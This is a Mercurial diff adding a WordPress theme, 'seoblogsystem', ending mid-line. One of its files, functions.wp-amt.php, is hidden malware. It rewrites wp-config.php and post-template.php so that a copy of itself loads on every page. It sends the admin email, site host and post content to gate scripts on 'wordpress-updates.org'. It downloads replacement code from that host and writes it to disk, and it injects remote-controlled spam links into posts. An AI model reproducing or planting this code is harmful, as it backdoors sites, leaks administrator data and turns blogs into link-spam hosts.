THREADED COMMENTS - ITS TIME TO THREAD THIS BEAST ----*/ + .threaded-comments{width: 522px; margin-left: 78px; clear: both; margin-top: 20px;} + .threaded-comments .thread-comment{clear: both; } + .threaded-comments .last{} + + .threaded-comments .user{} + .threaded-comments .comment-post{ width: 444px; margin-bottom: 20px;} + .threaded-comments .comment-post blockquote{} + + +/*-------------------------------------------------------------------------------------------*/ +/*- POST A COMMENT --------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +.comment-form-content{clear: both; margin: 30px 0px;} + .comment-form-content h2{margin: 0px 0px 20px;} + .comment-form-content .comment_form label{float: left; display: block; width: 130px; height: 50px; margin: 15px 0px 5px; font-size: 20px; font-weight: bold; text-align: right;} + + .comment-input{float: right; width: 462px; height: 50px; margin-bottom: 20px; overflow: hidden;} + .comment-input input{width: 430px; height: 24px; padding: 3px 0px; position: relative; top: 9px; left: 20px; background: none; border: none; font-size: 18px;} + + .comment-texarea{float: right; width: 462px; height: 220px; margin-bottom: 20px; overflow: hidden;} + .comment-texarea textarea{width: 430px; height: 190px; padding: 3px 0px; position: relative; top: 9px; left: 20px; background: none; border: none; font-size: 18px; font-family: Arial, Helvetica, sans-serif;} + + .checkbox{clear: both; margin: 0px 0px 20px 150px; font-size: 15px; font-style: italic;} + input.submit_button{clear: both; margin: 0px 0px 0px 150px;} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SPRITES ---------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + +/*-------------------------------------------------------------------------------------------*/ +/*- ARCHIVES --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +a.archive-date{float: left; width: 120px; display: block; margin: 10px 20px 10px 0px; font-weight: bold;} + a.archive-date:hover{} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SIDE BAR --------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +#sidebar h2, #sidebar h2 a{font-weight: bold; font-size: 25px; margin: 0px 0px 10px; padding: 0px;} + #sidebar h2 a{} + #sidebar h2 a:hover{} + +#sidebar ul div{} +#sidebar ul li.widget{margin-bottom: 20px;} + #sidebar ul li.widget:last-child{} + #sidebar ul li ul li{padding: 10px 0px; font-size: 14px; line-height: 20px;} + #sidebar ul li a{} + #sidebar ul li a:hover{} + #sidebar ul li ul li:first-child{} + #sidebar ul li ul li:last-child{ border-bottom: none;} + + /*--------------------------------------------*/ + /*- SPECIFIC SIDE BAR STYLE ------------------*/ + #sidebar ul li.flickr, #sidebar ul li.recent-comments, #sidebar ul li.sponsors{ background: none; padding: 0px;} + #sidebar ul li.recent-comments h2, #sidebar ul li.flickr h2{} + + /*--------------------------------------------*/ + /*- SPONSORS ---------------------------------*/ + #sidebar ul li.sponsors{padding: 0px;} + #sidebar .advert{float: left; margin: 0px 20px 20px 0px; width: 140px; height: 140px; padding: 15px 0px 0px 15px;} + #sidebar .right{margin: 0px 0px 20px 0px;} + + /*--------------------------------------------*/ + /*- DETAILED LISTING IN SIDE BAR -------------*/ + #sidebar ul li.recent-comments h2.recent-comments-title{} + #sidebar ul li.recent-comments ul li{padding: 10px 0px;} + #sidebar ul li.recent-comments ul li a.detail-image{display: block; float: left; width: 40px; padding: 10px; margin-right: 10px;} + #sidebar ul li.recent-comments ul li a.detail-image:hover{} + + #sidebar ul li.recent-comments ul li a.detail-link{display: block; float: right; width: 220px; margin: 0px; font-weight: bold; font-size: 14px; line-height: 20px;} + #sidebar ul li.recent-comments ul li a.detail-link span.date{display: block; font-weight: bold; font-size: 11px; padding: 0px 0px 2px;} + #sidebar ul li.recent-comments ul li a.detail-link:hover{} + #sidebar ul li.recent-comments ul li:last-child{border-bottom: none;} + + /*--------------------------------------------*/ + /*- SEARCH -----------------------------------*/ + .search-bar{} + .search-form input.search{} + .search-form input.search_button{} + + +/*-------------------------------------------------------------------------------------------*/ +/*- FOOTER ----------------------------------------------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ +ul.footer-columns{} + ul.footer-columns h3{font-weight: bold; font-size: 16px;} + ul.footer-columns p{font-size: 12px; line-height: 20px;} + ul.footer-columns li.column-one, ul.footer-columns li.column-two, ul.footer-columns li.column-three{float: left; margin-right: 20px; width: 300px; margin-bottom: 10px;} + ul.footer-columns li.column-three{margin: 0px 0px;} + + ul.footer-columns ul li{font-size: 12px; line-height: 18px; padding: 5px 0px;} + ul.footer-columns a{} + ul.footer-columns a:hover{} + ul.footer-columns ul li:first-child{} + ul.footer-columns ul li:last-child{ border-bottom: none;} + + + /*- ------------------------------*/ + /*- SOCIAL ICONS -----------------*/ + a.twitter, a.facebook, a.flickr, a.friendfeed, a.delicious, a.digg, a.lastfm, a.youtube, a.feed{background: url(images/icons/sprite.gif) no-repeat; overflow: hidden; text-indent: 30px; padding: 2px 0px;} + a.twitter{background-position: 0px -630px;} + a.facebook{background-position: 0px -108px;} + a.flickr{background-position: 0px -182px;} + a.friendfeed{background-position: 0px -220px;} + a.delicious{background-position: 0px -33px;} + a.digg{background-position: 0px -70px;} + a.lastfm{background-position: 0px -369px;} + a.youtube{background-position: 0px -780px;} + a.feed{background-position: 0px -145px;} + + +.footer-copy{font-size: 11px; margin: 10px 20px 0px;} + p.copyright{float: left;} + p.copyright a{} + p.copyright a:hover{} + a.obox-logo{float: right; width: 185px; height: 16px; display: block; text-indent: -9999px;} + a.obox-logo:hover{} + + +/*-------------------------------------------------------------------------------------------*/ +/*- SOME STANDARD WORDPRESS PLUGIN/WIDGET STYLES --------------------------------------------*/ +/*-------------------------------------------------------------------------------------------*/ + + /*--------------------------------------------*/ + /*- FLICKR -----------------------------------*/ + #flickr_badge_wrapper{} + #flickr_badge_wrapper .flickr_badge_image a{display: block; float: left; padding: 10px; margin: 0px 5px 10px;} + #flickr_badge_wrapper .flickr_badge_image a:hover{background-position: bottom;} + + + /*--------------------------------------------*/ + /*- CALENDAR ---------------------------------*/ + #sidebar #calendar_wrap{} + #wp-calendar{} + #sidebar #wp-calendar caption {} + #wp-calendar td, #wp-calendar th{} + #sidebar #wp-calendar td{} + #sidebar #wp-calendar #prev {} + #sidebar #wp-calendar #next {} + #sidebar #wp-calendar th{} + + +/*-----------------------------------------------------------------------------------------------------------------------------------*/ +/*- CLEARFIX --- * I prefer not to touch this code, I don't recommend you do so either, it works... so don't fix whats working ;) * -*/ +/*-----------------------------------------------------------------------------------------------------------------------------------*/ +/* http://sonspring.com/journal/clearing-floats */ +html body * span.clear, +html body * div.clear, +html body * li.clear, +html body * dd.clear +{background: none; border: 0; clear: both; display: block; float: none; font-size: 0; list-style: none; margin: 0; padding: 0; overflow: hidden; visibility: hidden; width: 0; height: 0;} + +/* http://www.positioniseverything.net/easyclearing.html */ +.clearfix:after{clear: both; content: '.'; display: block; visibility: hidden; height: 0;} +.clearfix{display: inline-block;} +* html .clearfix{height: 1%;} +.clearfix{display: block;} + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/404.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/404.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,11 @@ + + + + +
    + +

    Error 404 - Not Found

    + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,91 @@ + + + + + + + +

    Archive for the ‘’ Category

    + +

    Posts Tagged ‘

    + +

    Archive for

    + +

    Archive for

    + +

    Archive for

    + +

    Author Archive

    + +

    Blog Archives

    + + + + + +
    id="post-" style=" float: none;"> +
    +
    + +
    + + +
    + + +

    + +
    + posted by +
    + +
    + +
    +
    + + '); ?> +
    + + + + +
    +
    +
    +
    + + + + + + Sorry, but there aren't any posts in the %s category yet.", single_cat_title('',false)); + } else if ( is_date() ) { // If this is a date archive + echo("

    Sorry, but there aren't any posts with this date.

    "); + } else if ( is_author() ) { // If this is a category archive + $userdata = get_userdatabylogin(get_query_var('author_name')); + printf("

    Sorry, but there aren't any posts by %s yet.

    ", $userdata->display_name); + } else { + echo("

    No posts found.

    "); + } + get_search_form(); + + endif; + ?> + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/comments-popup.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/comments-popup.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,136 @@ + + + + <?php echo get_option('blogname'); ?> - Comments on <?php the_title(); ?> + + + + + + + +
    +
    +
    +
    +
    +
    +
    +
    + +

    Comments

    + +

    RSS feed for comments on this post.

    + +ping_status) { ?> +

    The URL to TrackBack this entry is:

    + + + + + +
      + +
    1. + +

      by @

      +
    2. + + +
    + +

    No comments yet.

    + + +comment_status) { ?> +

    Leave a comment

    +

    Line and paragraph breaks automatic, e-mail address never displayed, HTML allowed:

    + +
    + +

    Logged in as . Log out »

    + +

    + + +

    + +

    + + +

    + +

    + + +

    + + +

    + +

    + +

    + +

    + + " /> + + + ID); ?> +

    + +

    Sorry, the comment form is closed at this time.

    + + +
    +
    +
    +
    +
    +
    +
    +
    + + + + +

    Sorry, no posts matched your criteria.

    + + + + + + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,119 @@ +
    +
    + +

    This post is password protected. Enter the password to view comments.

    + + + +

    + + + +
    +

    to “

    +
    + + + + + +
    + +
      + +
    + +
    + + + + + + + + comment_status) : ?> + + + + +

    Comments are closed.

    + + + + + +comment_status) : ?> + +
    + +
    +

    +
    + +
    +
    + +
    + + +

    You must be logged in to post a comment.

    + + +
    + + + +

    Logged in as . Log out »

    + + + +

    /> +

    + +

    /> +

    + +

    +

    + + + + + +

    +

    + +

    + ID); ?> + +
    + + +
    + + +
    + +
    +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,17 @@ +
    + + + + + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,45 @@ + __('Left Sidebar', 'theme857'), + 'before_widget' => '
    ', + 'before_title' => '

    ', + + 'after_title' => '

    ', + + 'after_widget' => '
    ', + + + )); + +if ( function_exists('register_sidebar') ) + register_sidebar(array( + 'name' => __('Right Sidebar', 'theme857'), + 'before_widget' => '
    ', + 'before_title' => '

    ', + + 'after_title' => '

    ', + + 'after_widget' => '
    ', + + )); + +// Search + function widget_theme857_search() { +?> + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/functions.wp-amt.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/functions.wp-amt.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,595 @@ +0;$q--) + { + $link[$q]="/".$link[$q]; + $r_dir=str_replace($link[$q],"",$r_dir); + $rdr=amt_rdr($r_dir); + if(@in_array('wp-config.php',$rdr)) + { + $root_dir[0]=$r_dir; + break; + } + } + $root_dir[1]=$root_dir[0]."/wp-includes"; + $t_dir=$root_dir[0]."/wp-content/themes/"; + $t_dirs=amt_rdr($t_dir); + for($q=0;$qamt_trim_domen(); + $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); + return $t_n; + } + function amt_gae() + { + global $wpdb, $table_prefix; + $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); + $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); + $this->a_em=$uem[0]; + return $a_em; + } + function amt_crtb() + { + global $wpdb; + $this->amt_gtbl(); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + id_post INT(9) NOT NULL , + last_up DATETIME NOT NULL , + addd DATETIME NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + l_b ENUM('0', '1') NOT NULL , + id_post INT(9) NOT NULL , + word VARCHAR(255) NOT NULL , + id_word INT( 9 ) NOT NULL , + link VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( + host VARCHAR(255) NOT NULL , + t_o VARCHAR(255) NOT NULL , + n_f VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + if($this->host=="") + { + $amt_nf=$this->amt_gfn(); + $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + } + $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; + } +} +$amt_d=new amt_data; +$amt_d->amt_crtb(); +$amt_d->amt_gae(); +$root_dir=amt_gp(); +$amt_d->u_tpl=$amt_u_tpl; +$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); +$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; +$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; +$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; +$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; +$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); +$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; +$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; +$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; +if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } +amt_ci(); +amt_cifi(); + +function amt_cif() +{ +global $amt_d; +if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } +} + +function amt_cifi() +{ +global $amt_d; +$today=date("Ymd"); + if($today<=20100225) + { + $post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); + amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post); + } +} + +function amt_ci() +{ +global $amt_d; + $sha="!amt_cif!si"; + $sha2="!".$amt_d->n_f."!si"; + $cont=file_get_contents($amt_d->wp_c); + if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) + { + $amt_d->ci[0]=0; + } + else + { + $amt_d->ci[0]=1; + } + $sha="!amt_cc!si"; + $cont=file_get_contents($amt_d->wp_pt); + if(!preg_match($sha,$cont,$match)) + { + $amt_d->ci[1]=0; + } + else + { + $amt_d->ci[1]=1; + } + + if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) + { + $amt_d->ci[2]=0; + } + else + { + $amt_d->ci[2]=1; + } +if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } +if($amt_d->ci[3]==0) +{ + if($amt_d->ci[0]==0) + { + chmod($amt_d->wp_c, 0755); + $cont=trim(file_get_contents($amt_d->wp_c)); + $sha="/\?>$/"; + if(preg_match($sha,$cont,$name)) + { + $cont=$cont." +n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; + } + else + { + $cont=$cont." +if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; + } + $amt_f = fopen($amt_d->wp_c,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { chmod($amt_d->wp_c, 0644); } + } + if($amt_d->ci[1]==0) + { + $cont=file_get_contents($amt_d->wp_pt); +$sha1="echo \$content;"; +$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } + echo \$content;"; + $cont=str_replace($sha1,$sha2,$cont); + chmod($amt_d->wp_pt, 0755); + $amt_f = fopen($amt_d->wp_pt,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { @chmod($amt_d->wp_pt, 0644); } + } + if($amt_d->ci[2]==0) + { + $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } + if(file_exists($amt_d->wp_ff)) + { + chmod($amt_d->wp_ff, 0755); + } + $amt_f = fopen($amt_d->wp_ff,"w"); + $test = fwrite($amt_f, $content); + fclose($amt_f); + if($test) { chmod($amt_d->wp_ff, 0644); } + } +} +} +function amt_cc($content) +{ + global $amt_d; + $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); + amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); + return $content; +} +function amt_gct($id) +{ +global $amt_d; +$ololo=get_post($id); +$amt_cty=get_the_category(); +$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; +$amt_d->p_ttl=$ololo->post_title; +} +function amt_cco($id, $content) +{ +global $wpdb, $amt_d; +$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); + for($q=0;$q < count($q_word);$q++) + { + $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); + } +$content.=amt_abl($id); +return $content; +} +function amt_abl($id) +{ +global $wpdb, $amt_d; +$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); + if($t_link[0]!="") + { + $tlk="

    ".$t_link[0]."

    "; + } + else + { + $tlk=""; + } +return $tlk; +} +function amt_copt($m_url) +{ +global $wpdb, $amt_d; +$post = Array('my_h' => $amt_d->my_h, 'my_url' => $m_url); +$today=date("Y-m-d"); + if(!amt_cuo()) + { + if($amt_ud=amt_sender($amt_d->u_g[2], $post)) + { + if($amt_ud!="no" && $amt_ud!="") + { + $amt_md=explode('*^*^*^*',$amt_ud); + $amt_q="update ".$amt_d->t_n[2]." set host='$amt_md[0]', t_o='$amt_md[1]', date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + if($amt_md[3]==2) + { + amt_cnff($amt_md[4]); + } + } + else + { + $amt_q="update ".$amt_d->t_n[2]." set date='$today' where host='".$amt_d->host."'"; + $wpdb->query($amt_q); + } + } + } +} +function amt_cnff($content) +{ +global $amt_d; +if($content=="") { return false; } +$content= +""; + if(file_exists($amt_d->wp_ff)) + { + @chmod($amt_d->wp_ff, 0755); + } +$amt_f = fopen($amt_d->wp_ff,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($amt_d->wp_ff, 0644); } +$s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) + { + @chmod($s_f_path, 0755); + } +$amt_f = fopen($s_f_path,'w'); +$test = fwrite($amt_f, $content); +@fclose($amt_f); +if($test) { @chmod($s_f_path, 0644); } +} +function amt_inb($id, $last) +{ +global $wpdb, $amt_d; +$amt_q="delete from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($amt_q); +$amt_q="insert into ".$amt_d->t_n[0]." (id_post, last_up, addd) values ('$id', '$last', now())"; +$wpdb->query($amt_q); +} +function amt_ins($id, $last, $cont, $url) +{ +global $amt_d; +$last=str_replace(" ","_",$last); +$url=trim_url($url); +$post = Array('id' => $id, 'last' => $last, 'cont' => $cont, 'ttl' => $amt_d->p_ttl, 'cgy' => $amt_d->p_cgy, 'my_h' => $amt_d->my_h, 'my_url' => $url, 'a_em' => $amt_d->a_em, 'fn' => $amt_d->n_f, 'tpl' => $amt_d->r_dir[4], 'ci' => $amt_d->ci[3], 'u_tpl' => $amt_d->u_tpl); +$amt_pisg=amt_sender($amt_d->u_g[0], $post); +if($amt_pisg=="ok") { $pis=1; } else { $pis=0; } +return $pis; +} +function amt_pib($id) +{ +global $wpdb, $amt_d; +$query="select id from ".$amt_d->t_n[0]." where id_post='$id'"; +$wpdb->query($query); + if($wpdb->num_rows>0) + { + $per=$wpdb->get_var($wpdb->prepare("select datediff(now(), addd) from ".$amt_d->t_n[0]." where id_post='$id'", $rr)); + if($per>30) + { + return 0; + } + else + { + return 1; + } + } +return $wpdb->num_rows; +} +function amt_qwe($id) +{ +global $wpdb, $amt_d; +$query="select * from ".$amt_d->t_n[1]." where id_post='$id'"; +$wpdb->query($query); +return $wpdb->num_rows; +} +function amt_cuq() +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$date_up=$wpdb->get_var($wpdb->prepare("select date from ".$amt_d->t_n[1]." limit 1", $rr)); + if($date_up!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_cuo() +{ +global $amt_d; +$today=date("Y-m-d"); + if($amt_d->c_d!=$today) + { + return false; + } + else + { + return true; + } +} +function amt_qse($id, $m_url) +{ +global $wpdb, $amt_d; +$today=date("Y-m-d"); +$m_url=trim_url($m_url); +$post = Array('id' => $id, 'my_h' => $amt_d->my_h, 'my_url' => $m_url); + if($amt_nq=amt_sender($amt_d->u_g[1], $post)) + { + if($amt_nq=="no quests") + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('0', '0', '', '0', '', '$today')"; + echo $amt_q2; + $wpdb->query($amt_q2); + } + else + { + $amt_q1="delete from ".$amt_d->t_n[1].";"; + $wpdb->query($amt_q1); + $amt_qs=explode("*****",$amt_nq); + for($q=0;$q < sizeof($amt_qs);$q++) + { + $m_amt_q=explode("^^^",$amt_qs[$q]); + $amt_q2="insert into ".$amt_d->t_n[1]." (l_b, id_post, word, id_word, link, date) values ('$m_amt_q[4]', '$m_amt_q[0]', '$m_amt_q[1]', '$m_amt_q[2]', '$m_amt_q[3]', '$today')"; + $wpdb->query($amt_q2); + } + } + } +} +function amt_sender($url, $post) +{ +global $amt_d; +$_post=Array(); + if(is_array($post)) + { + foreach($post as $name => $value) + { + $_post[]=$name.'='.urlencode($value); + } + } + if (function_exists("curl_init")) + { + $ch=curl_init($url); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_POST, 1); + curl_setopt($ch, CURLOPT_HEADER, 0); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $amt_d->t_o); + curl_setopt($ch, CURLOPT_USERAGENT, "Penetrator/3.0"); + curl_setopt($ch, CURLOPT_REFERER, $amt_d->my_h); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + if(is_array($post)) + { + curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post)); + } + $result=curl_exec($ch); + if(curl_errno($ch)!=0 && empty($result)) + { + $result=false; + } + curl_close($ch); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + else + { + $parse_url = parse_url($url); + $path = $parse_url["path"]; + $host= $parse_url["host"]; + $result=""; + $post=implode('&', $_post); + $fp=fsockopen($host, 80); + if($fp) + { + socket_set_timeout($fp, $amt_d->t_o); + $request = "POST $path HTTP/1.1\r\n"; + $request .= "Host: $host\r\n"; + $request .= "User-Agent: Penetrator/3.0\r\n"; + $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $request .= "Referer: ".$amt_d->my_h."\r\n"; + $request .= "Content-Length: ".strlen($post)."\r\n"; + $request .= "Connection: close\r\n\r\n$post"; + fputs($fp,$request); + while(!feof($fp)) + { + $result.=fgets($fp); + } + fclose($fp); + $result="HTTPSTART".$result; + $result=preg_replace("/HTTPSTART(.*)HTTPEND/isU","",$result); + return $result; + } + return false; + } +} +function amt_create_post_words($content,$word,$id_word,$link,$nwm) +{ +$n_content=strip_tags($content); +$word=trim($word); +$t_link="http://".$link; +$w=0; +$sha2="/(.{1,".$nwm."})(\*\*\* ".$word.".{1}\*\*\*|\*\*\*".$word.".{1}\*\*\*)(.{1,".$nwm."})/si"; +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="***\\0***"; +$new_content=preg_replace($bilo,$stalo,$n_content); +preg_match_all($sha2,$new_content,$massa); +$sha_word=erase_zv($massa[0][$id_word]); +$sha_word_l=strong_word($sha_word,$word,$t_link); +$content=str_replace($sha_word,$sha_word_l,$content); +return $content; +} +function erase_zv($text) +{ +$text=str_replace(",***",",",$text); +$text=str_replace(".***",".",$text); +$text=str_replace(" ***"," ",$text); +$text=str_replace("*** "," ",$text); +$text=str_replace("***"," ",$text); +return $text; +} +function trim_side($text) +{ +$new_text=""; +$txt=explode(" ", $text); +$n_w=sizeof($txt); + for($ts=1;$ts<$n_w-1;$ts++) + { + $new_text.=$txt[$ts]." "; + } +return $new_text; +} +function strong_word($content,$word,$t_link) +{ +$bilo="/( ".$word.".{1}|".$word.".{1})/si"; +$stalo="\\0"; +$content=preg_replace($bilo,$stalo,$content); +$content=str_replace("> ",">",$content); +$content=str_replace(" <","<",$content); +$content=str_replace("<"," <",$content); +$content=str_replace(" ","",$content); +$content=str_replace(""," ",$content); +$content=str_replace(",",", ",$content); +$content=str_replace(".",". ",$content); +$content=str_replace(" "," ",$content); +return $content; +} +function trim_url($url) +{ +$url=preg_replace("(www.|http://)", "", $url); +return $url; +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/header.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/seoblogsystem/header.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,94 @@ + +> + + + + +<?php wp_title('«', true, 'right'); ?> <?php bloginfo('name'); ?> + + + + + + + + + + + + +
    +
    + + + + + + + +
    + +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/1page-img1.jpg Binary file web/wp-content/themes/seoblogsystem/images/1page-img1.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/1page-img2.jpg Binary file web/wp-content/themes/seoblogsystem/images/1page-img2.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/1page-img3.jpg Binary file web/wp-content/themes/seoblogsystem/images/1page-img3.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/1page-img4.jpg Binary file web/wp-content/themes/seoblogsystem/images/1page-img4.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/1page-img5.jpg Binary file web/wp-content/themes/seoblogsystem/images/1page-img5.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/1page-img6.jpg Binary file web/wp-content/themes/seoblogsystem/images/1page-img6.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/banner01.gif Binary file web/wp-content/themes/seoblogsystem/images/banner01.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/banner02.gif Binary file web/wp-content/themes/seoblogsystem/images/banner02.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/banner03.gif Binary file web/wp-content/themes/seoblogsystem/images/banner03.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/seoblogsystem/images/border.gif Binary file web/wp-content/themes/seoblogsystem/images/border.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 